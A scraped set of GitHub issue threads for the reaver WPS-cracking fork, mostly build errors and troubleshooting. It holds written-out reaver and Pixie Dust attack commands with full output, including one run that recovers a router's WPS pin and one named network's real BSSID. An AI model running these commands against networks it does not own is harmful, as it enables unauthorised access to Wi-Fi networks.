[+] Associated with xxxxxxxxxxxxxxxxx (ESSID: xxxxx)
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[!] WARNING: 25 successive start failures
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 12345670.
Reaver Stuck at trying PIN or earlier
Hi guys i am quite new to hacking and was trying to crack the WPS PIN of my own router, first yes WPS is enabled on the router but as seen below he gets stuck when trying a password, i tried with different commands additionally like -N -L but then he gets stuck at waiting for a beacon. Can anybody help the newbie? Thanks
reaver -i wlan0mon -A -b xx:xx:xx:xx:xx:xx
Reaver v1.5.2 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner [email protected]
mod by t6_x [email protected] & DataHead & Soxrok2212
[+] Waiting for beacon from xx:xx:xx:xx:xx:xx
[+] Associated with xx:xx:xx:xx:xx:xx (ESSID: xxxxxxxxxx)
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
is wpacrack.c supposed to fail ?
I'm trying to compile this code, during 'make' i always get this error:
gcc -DCONF_DIR='"/usr/local/etc/reaver"' -DREAVER_DATABASE='"/usr/local/etc/reaver/reaver.db"' -Wall -g -O2 -Ilibwps wpscrack.c .o libwps/.o wps/*.o tls/bignum.o tls/libtls.a utils/libutils.a crypto/libcrypto.a lwe/libiw.a -ldl -lm -lpcap -lsqlite3 -o reaver
wpscrack.c: In function ‘main’:
wpscrack.c:40:33: warning: variable ‘r’ set but not used [-Wunused-but-set-variable]
int ret_val = EXIT_FAILURE, r = 0;
^
error: pcap library not found!
root@root:~/reaver-wps-fork-t6x/src# ./configure
checking for gcc... gcc
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
checking for suffix of executables...
checking whether we are cross compiling... no
checking for suffix of object files... o
checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes
checking for gcc option to accept ISO C89... none needed
checking for pcap_open_live in -lpcap... no
*_## error: pcap library not found! *_
(what is?)
wash displays no results
while using wash it displays no results program runs but works/fails
output as follows
blacktop reaver-wps-fork-t6x # wash -i mon0
Wash v1.5.2 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner [email protected]
mod by t6_x [email protected] & DataHead & Soxrok2212 & Wiire & kib0rg
BSSID Channel RSSI WPS Version WPS Locked ESSID
is there a debug option to show more info...
airmon-ng and airodump-ng works flawlessly
currently using a internal network adaptor (chipset-Atheros driver-ath9k) and external usb network adapter (tp-link722n) on linux mint.
it worked on previously a couple months ago.
let me know if there is anything i can do to help :)
SQL error on Wash
root@kali:~/reaver-wps-fork-t6x/src# ./wash
[X] ERROR: sql_init failed
I'm on the Raspberry Pi, if that matters.
I did ./configure and then make.
Reaver can run without error.
error when launching pixiewps: "pixiewps: invalid option -- 'm'"
i am using the last pixiewps version and just download the last revision of reaver.
Syntax used :
sudo reaver -i wlan2 -b F8:8E:85:40:84:95 -vv -K 1
stdout :
sudo reaver -i wlan2 -b F8:8E:85:40:84:95 -vv -K 1
Reaver v1.5.2 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner [email protected]
mod by t6_x [email protected] & DataHead & Soxrok2212
[+] Waiting for beacon from F8:8E:85:40:84:95
[+] Switching wlan2 to channel 1
[+] Associated with F8:8E:85:40:84:95 (ESSID: MOVISTAR_8494)
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: 29:84:5c:2a:49:53:21:02:cc:69:9b:b5:a9:89:1e:71
[P] PKE: 44:c9:37:e1:12:eb:d0:c4:7c:6b:5a:6e:f0:63:5a:d1:30:04:cb:da:68:1c:92:37:7d:e9:9d:8c:18:7f:65:77:50:ec:66:1a:78:51:2d:98:9e:3f:3f:c2:21:7d:33:b6:01:42:d4:6c:87:01:f6:19:d9:25:52:d0:64:a3:ea:09:38:8a:61:a1:61:6b:af:0d:83:ea:4e:d0:79:f3:b5:6f:83:c0:d1:ff:48:02:0c:48:38:a1:38:d4:98:56:ae:28:fa:8c:23:ca:b6:c1:1a:7b:3e:91:df:c0:4c:3d:6b:ca:c1:02:6c:66:c8:7a:da:47:aa:8b:c8:92:de:a8:d6:e6:72:ab:84:81:11:75:8b:27:f7:33:09:c0:36:6c:7a:7f:3b:c0:f7:29:4e:d8:3d:38:a5:90:b7:3b:d0:5a:dc:b2:18:29:10:70:e8:0a:e4:17:3f:a2:67:12:8f:07:1c:39:58:cf:99:33:3b:58:cf:79:81:d4:32:f2:d6:ae:39:71
[P] WPS Manufacturer: Broadcom
[P] WPS Model Number: 123456
[P] Access Point Serial Number: 1234
[+] Received M1 message
[P] PKR: cf:03:23:93:62:de:32:20:59:6a:f9:3c:0e:3b:5d:89:18:8e:3c:d2:82:0f:c3:b2:3c:b4:2f:a4:f0:ef:4a:9c:04:bf:74:c5:ae:8c:a6:12:f8:b5:a2:e3:44:2f:4a:fe:cd:3e:26:52:5e:75:d9:6b:f1:d0:9a:f5:77:ed:35:33:09:a6:9d:3a:bd:8a:c1:7e:74:d2:89:d7:86:04:e4:27:c9:26:6d:28:aa:8d:88:75:1d:9a:45:de:d8:2e:af:69:6e:06:4c:6a:94:54:07:a6:66:19:7f:b0:75:cd:11:3c:71:70:da:45:0a:ca:f7:8d:8c:4a:f1:8c:df:10:aa:47:31:af:b3:44:02:8e:48:02:60:5c:31:f3:83:05:89:84:b4:99:05:b0:fe:b7:16:e0:e6:00:a1:4a:a5:ab:40:03:99:1b:36:b2:12:79:98:be:bd:3f:78:b4:77:44:c1:f0:79:5c:10:d0:ed:ad:23:c3:bf:11:08:0b:c4:97:8f:1a
[P] AuthKey: 60:ac:8e:2a:b3:f8:2b:34:fb:4e:3e:ae:06:c7:cd:62:18:bc:e9:07:e5:fa:47:9d:9c:dc:28:26:ea:c1:f9:c2
[+] Sending M2 message
[P] R-Nonce: 3b:ae:65:c2:68:bc:ad:63:89:55:8c:9d:9d:1c:6a:2f
[P] E-Hash1: 99:6b:8f:9e:db:8f:dc:b4:00:27:d3:3b:46:99:81:79:17:e7:d2:57:bf:12:42:ad:3e:e9:0f:5d:e6:0d:8c:75
[P] E-Hash2: 58:31:5c:d7:2d:0e:fa:a4:c2:85:2b:59:2f:71:38:b0:2d:b9:b0:e4:8e:17:3e:00:b4:e6:f5:ea:22:c2:e5:ad
pixiewps: invalid option -- 'm'
[Pixie-Dust]
[Pixie-Dust] Pixiewps made by wiire
[Pixie-Dust]
[Pixie-Dust] Usage: pixiewps
[Pixie-Dust]
[Pixie-Dust] Required Arguments:
[Pixie-Dust]
[Pixie-Dust] -e, --pke : Enrollee public key
[Pixie-Dust] -r, --pkr : Registrar public key
[Pixie-Dust] -s, --e-hash1 : E-Hash1
[Pixie-Dust] -z, --e-hash2 : E-Hash2
[Pixie-Dust] -a, --authkey : Key used in HMAC SHA-256
[Pixie-Dust]
[Pixie-Dust] Optional Arguments:
[Pixie-Dust]
[Pixie-Dust] -n, --e-nonce : Enrollee nonce
[Pixie-Dust] -S, --dh-small : Small Diffie-Hellman keys (--pkr not needed)
[Pixie-Dust]
[Pixie-Dust] -h, --help : Display this usage screen
[Pixie-Dust]
i didn't see anything round about -m option... maybe you are working with a unoficial development source of pisie wps that have this "m" option.
If not you might have forgotten a "m" somewhere where you create the syntax for pixiewps
Cheers
wash: -C not working and [X] ERROR: sql_init failed when running prior to install
The following error is printed by wash if one tries to run without installing it:
root@kali:~/reaver-wps-fork-t6x/src# ./wash
[X] ERROR: sql_init failed
root@kali:~/reaver-wps-fork-t6x/src# ./wash -h
[X] ERROR: sql_init failed
root@kali:~/reaver-wps-fork-t6x/src# ./wash -i wlan0mon -C
[X] ERROR: sql_init failed
In my case, sql_init() is looking for reaver.db in /usr/local/etc/reaver directory. But without doing make install prior to running wash, reaver.db won't be found and sqlite3_open() is going to raise an exception. I think it is worth adding some verification - testing whether the file actually exists or not - prior to calling sqlite3_open(). And in case of failure it could try to open the reaver.db in the same directory as wash is being executed.
Also, it looks like -C swith is being ignored as in the example bellow:
root@kali:~/reaver-wps-fork-t6x/src# ./wash -i wlan0mon -C
[!] Found packet with bad FCS, skipping...
[!] Found packet with bad FCS, skipping...
running reaver on kali and on pineapple
Hello Guys been messing around with reaver and getting two responces from same ap not sure why
any help would be appreciated thanks
root@Pineapple:~# reaver -i wlan1mon -c7 -b XX:XX:XX:53:12:6C -vvv -K 1
Reaver v1.5.2 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner [email protected]
mod by t6_x [email protected] & DataHead & Soxrok2212 & Wiire & kib0rg
[+] Switching wlan1mon to channel 7
[+] Waiting for beacon from XX:XX:XX:53:12:6C
[+] Associated with XX:XX:XX:53:12:6C (ESSID: potato)
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: 1142bb9d3b345c4655f269e279a47ac8
[P] PKE: d0141b15656e96b85fcead2e8e76330d2b1ac1576bb026e7a328c0e1baf8cf91664371174c08ee12ec92b0519c54879f21255be5a8770e1fa1880470ef423c90e34d7847a6fcb4924563d1af1db0c481ead9852c519bf1dd429c163951cf69181b132aea2a3684caf35bc54aca1b20c88bb3b7339ff7d56e09139d77f0ac58079097938251dbbe75e86715cc6b7c0ca945fa8dd8d661beb73b414032798dadee32b5dd61bf105f18d89217760b75c5d966a5a490472ceba9e3b4224f3d89fb2b
[P] WPS Manufacturer: Belkin International
[P] WPS Model Name: Belkin N600DB Wireless Router
[P] WPS Model Number: F9K1102 v2
[P] Access Point Serial Number: 20422GF2204541
[+] Received M1 message
[P] R-Nonce: aa2e55a0e5abae5201c8c664efb46df6
[P] PKR: 4c24122323090189f6e58696e76769aceff61432b8aa4fcea7ff12eeaefd42cd52d2a56077452875df2419e0544192ad03287838d6e1811c887f123b1e87e2a00863e1b6a93216677e8e9f7f1f6280ba8eb13dbf2a56eb30478636bf4fa650bdbb436c7dbf198b622ff10e505a66d7e6452eb2fe25c7b06f448d4d79681adfd28f30395c656bf1ac5295f1ecfaf0bd0966497e1cf11ce02f0a6f6033e8fd66e3f6affdf0f5f42ded54ee7e61c3add7b810b6178e941d0a78b3384aeb61925d51
[P] AuthKey: 6111f2697163f20b7a7aee495b94b8ccd3f080904c0038765e0cbd91e057f393
[+] Sending M2 message
[P] E-Hash1: dd1337c644e08b60bdedd33c558ec78713364d3ea7a76d110f49a886f39918b4
[P] E-Hash2: d437d4e3a0bcb16bcb4124162e6f5ccd21e5a3a5d5ed2d8e0a483c79113ddf4e
[+] Running pixiewps with the information, wait ...
[Pixie-Dust]
[Pixie-Dust] Pixiewps 1.1
[Pixie-Dust]
[Pixie-Dust] [-] WPS pin not found!
[Pixie-Dust]
[Pixie-Dust] [*] Time taken: 12 s 80 ms
[Pixie-Dust]
[Pixie-Dust] [!] The AP /might be/ vulnerable. Try again with --force or with another (newer) set of data.
[Pixie-Dust]
[+] Pin not found, trying -f (full PRNG brute force), this may take around 30 minutes
[Pixie-Dust]
[Pixie-Dust] Pixiewps 1.1
[Pixie-Dust]
[Pixie-Dust] [-] WPS pin not found!
[Pixie-Dust]
root@Pineapple:~#
root@kali11:/home/chris# reaver -i wlan1mon -c 7 -b XX:XX:XX:XX:XX:XX -vvv -K 1
Reaver v1.5.2 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner [email protected]
mod by t6_x [email protected] & DataHead & Soxrok2212 & Wiire & kib0rg
[+] Switching wlan1mon to channel 7
[+] Waiting for beacon from XX:XX:XX:53:12:6C
[+] Associated with XX:XX:XX:53:12:6C (ESSID: potato)
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[P] E-Nonce: 3e:2b:ce:1b:1d:a2:da:88:6f:b1:ea:f9:0e:7f:12:c5
[P] PKE: d0:14:1b:15:65:6e:96:b8:5f:ce:ad:2e:8e:76:33:0d:2b:1a:c1:57:6b:b0:26:e7:a3:28:c0:e1:ba:f8:cf:91:66:43:71:17:4c:08:ee:12:ec:92:b0:51:9c:54:87:9f:21:25:5b:e5:a8:77:0e:1f:a1:88:04:70:ef:42:3c:90:e3:4d:78:47:a6:fc:b4:92:45:63:d1:af:1d:b0:c4:81:ea:d9:85:2c:51:9b:f1:dd:42:9c:16:39:51:cf:69:18:1b:13:2a:ea:2a:36:84:ca:f3:5b:c5:4a:ca:1b:20:c8:8b:b3:b7:33:9f:f7:d5:6e:09:13:9d:77:f0:ac:58:07:90:97:93:82:51:db:be:75:e8:67:15:cc:6b:7c:0c:a9:45:fa:8d:d8:d6:61:be:b7:3b:41:40:32:79:8d:ad:ee:32:b5:dd:61:bf:10:5f:18:d8:92:17:76:0b:75:c5:d9:66:a5:a4:90:47:2c:eb:a9:e3:b4:22:4f:3d:89:fb:2b
[P] WPS Manufacturer: Belkin International
[P] WPS Model Name: Belkin N600DB Wireless Router
[P] WPS Model Number: F9K1102 v2
[P] Access Point Serial Number: 20422GF2204541
[+] Received M1 message
[P] R-Nonce: 5b:95:e2:eb:9e:ee:fb:be:b3:d8:23:8e:83:8a:1e:45
[P] PKR: 51:aa:9d:86:4e:69:69:00:b7:c1:63:ae:4c:88:fb:00:80:25:be:06:e1:ec:27:49:51:25:cd:9f:7b:56:19:a3:de:98:ee:98:e8:f5:ae:90:3e:68:14:12:0f:de:5b:b9:c9:f3:69:9b:e8:d8:29:a1:7d:c8:9b:86:c1:d1:17:40:2c:ea:69:74:70:91:74:c2:b7:49:1e:00:ce:8a:de:9e:e0:b1:e8:bb:d7:64:96:9f:d3:d6:e6:a2:09:af:da:c2:af:a2:3f:7d:02:db:d2:1b:65:c9:ef:ef:f6:ca:af:4f:d4:0e:43:53:10:01:ca:d8:73:40:57:8a:b1:26:d3:fc:2d:85:cf:2f:59:53:89:cb:e2:00:ca:b6:6d:d4:3b:c3:fe:70:7c:36:6d:9e:0c:db:f6:0a:f0:96:fc:d3:1a:ac:23:34:d2:e9:4c:4f:87:d7:77:82:bc:2c:5d:20:d7:df:1f:f8:a1:44:4b:5a:50:25:d0:a4:fb:3d:15:b4:11:06
[P] AuthKey: bb:74:56:24:e7:dd:ac:a7:8a:09:1e:a2:d9:60:ec:43:83:66:59:16:e7:3e:36:dd:57:9a:33:30:51:ea:86:3c
[+] Sending M2 message
[P] E-Hash1: af:c3:d0:f7:e9:b8:8f:16:37:89:bf:79:24:1e:99:d9:0f:8e:ce:2e:2c:9b:14:9c:a3:7c:74:4b:a9:eb:03:75
[P] E-Hash2: 9b:9f:14:f8:55:90:5d:b6:18:8d:93:7b:86:e1:f0:5e:d7:34:ed:a3:06:4e:6b:0a:37:8b:e5:ab:ed:a0:d3:b3
[+] Running pixiewps with the information, wait ...
[Pixie-Dust]
[Pixie-Dust] Pixiewps 1.1
[Pixie-Dust]
[Pixie-Dust] [] E-S1: 2c:19:f3:d0:12:83:8d:81:56:b0:c8:7d:37:8f:9a:15
[Pixie-Dust] [] E-S2: 2c:19:f3:d0:12:83:8d:81:56:b0:c8:7d:37:8f:9a:15
[Pixie-Dust] [+] WPS pin: 14987236
[Pixie-Dust]
[+] Running reaver with the correct pin, wait ...
[+] Cmd : reaver -i wlan1mon -b XX:XX:XX:53:12:6C -c 7 -s y -vv -p 14987236
[Reaver Test] [+] BSSID: XX:XX:XX:53:12:6C
[Reaver Test] [+] Channel: 7
[Reaver Test] [+] WPS PIN: '14987236'
[Reaver Test] [+] WPA PSK: 'XXXXXXXX'
[Reaver Test] [+] AP SSID: 'XXXXXX'
Not working with WPS-PBC mode
If reaver does not support this feature, may be it's cool to add it.
I check it with dumpper (a close source software in windows) and easily do that on TP-Link router.
http://sourceforge.net/projects/dumpper/
No output
new compile on kali gives no output old version of wash works fine
root@ikali:~/reaver-wps-fork-t6x/src# ./wash -i mon0 -s
Wash v1.5.1 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner [email protected]
mod by t6_x [email protected]
mod by DataHead
BSSID Channel RSSI WPS Version WPS Locked ESSID
^C
root@ikali:~/reaver-wps-fork-t6x/src# ./wash -i mon0
Wash v1.5.1 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner [email protected]
mod by t6_x [email protected]
mod by DataHead
BSSID Channel RSSI WPS Version WPS Locked ESSID
^C
Channel 13 not working
airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon ?????? Realtek Semiconductor Corp. RTL8187
reaver -i wlan0mon -b xx:xx:xx:xx:xx:xx -vv -d9 -t9 -c13
[+] Switching wlan0mon to channel 13
[+] Waiting for beacon from xx:xx:xx:xx:xx:xx
[!] WARNING: Failed to associate with xx:xx:xx:xx:xx:xx (ESSID: xxxxxxxxx)
Pcap error
checking for pcap_open_live in -lpcap... no
error: pcap library not found!
please Help me sir
[Question] Using Reaver v1.4 for Pixie Dust Attack
Is it possible to use reaver v1.4 (default version found in Ubuntu repositories) to generate the info required to run pixie dust attack? I mean not to use the automate -K process ?
Is it possible? And what commands should I use in reaver v1.4 to find the infos ?
New airmon-ng behavior breaks reaver
Hello.
Just to report that the new version of airmon-ng, which when called against, say for instance wlan0, doesn't create "mon0" but "wlan0mon", and what's more, refuses to create several monitor interfaces, seriously breaks reaver.
This checks out on my end with Reaver 1.5.2, airmon-ng 1.2-rc2, included with Kali Linux 2.
Not too sure how this can be fixed other than by rolling back airmon-ng to the previous version. Will take a closer look at the reaver code and see.
Regards,
Mark.
Can't run on OpenWRT
After I compiled it to OpenWRT, run reaver -i mon0 -b CC:34:29:3F:XX:XX It says:
[+] Waiting for beacon from CC:34:29:3F:XX:XX
Segmentation fault
Then I take a look at source of file : argsparser.c
It's not as new as https://code.google.com/p/reaver-wps/issues/detail?id=120 said.
Reaver with macchanger (or manual mac change)
Debian 8.2 / Kali Linux 2016.1
Reaver 1.5.2 mod by t6_x and others
Command:
sudo reaver -i interface -b mac -c channel -vvv (+ any arguments like N S K etc.)
gives output like:
WARNING: Failed to associate with mac (ESSID: essid)
when mac of wlan0 and wlan0mon (mon0) was changed manualy or with macchanger. If mac is real reaver works perfectly.
In case of using aircrack-ng packet:
aireplay-ng -1 0 -a mac interface
and using "-A" argument in reaver, programm goes to detect WPS pin but stops every time pin's detected.
Remove .DS_Store files
Please remove all .DS_Store files from your repo.
Error in generation for specified/exahaustive pin
-p 12345678
[+] Trying pin 12345670
-p 12345678 -X
[+] Trying pin 1234567.
in src/pins.c at row 82:
snprintf(key, pin_len, "%s%s", p1_value, p2_value);
to generate a 7-digit pin should be:
snprintf(key, pin_len-1, "%s%s", p1_value, p2_value);
Regards
merge request
i have added -P option to loop through up to but not process M4 then start from beginning of the protocol then lopp and repeat. to avoid lockouts.
ive used that latest as of this current post
Package triggers severe warnings if compiling is done using -W argument
* QA Notice: Package triggers severe warnings which indicate that it
* may exhibit random runtime failures.
* globule.c:110:9: warning: implicit declaration of function ‘cprintf’ [-Wimplicit-function-declaration]
* common.c:614:5: warning: implicit declaration of function ‘wps_pin_checksum’ [-Wimplicit-function-declaration]
* argsparser.c:97:17: warning: implicit declaration of function ‘set_op_gen_pin’ [-Wimplicit-function-declaration]
* md5-internal.c:185:5: warning: dereferencing type-punned pointer will break strict-aliasing rules [-Wstrict-aliasing]
* md5-internal.c:186:5: warning: dereferencing type-punned pointer will break strict-aliasing rules [-Wstrict-aliasing]
* md5-internal.c:191:29: warning: argument to ‘sizeof’ in ‘memset’ call is the same expression as the destination; did you mean to dereference it? [-Wsizeof-pointer-memaccess]
* wps_dev_attr.c:344:3: warning: implicit declaration of function ‘mac2str’ [-Wimplicit-function-declaration]
* wps_dev_attr.c:364:3: warning: implicit declaration of function ‘pingen_zyxel’ [-Wimplicit-function-declaration]
Error of 'make' procedure in Ubuntu
I use Ubuntu 15.04 and when I tried to run ./configure of the source I get the following errors:
When I run ./configure
checking for gcc... gcc
checking whether the C compiler works... yes
checking for C compiler default output file name... a.out
checking for suffix of executables...
checking whether we are cross compiling... no
checking for suffix of object files... o
checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes
checking for gcc option to accept ISO C89... none needed
checking for pcap_open_live in -lpcap... no
error: pcap library not found!
When I try to make:
make: *** No targets specified and no makefile found. Stop.
What is the problem?
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.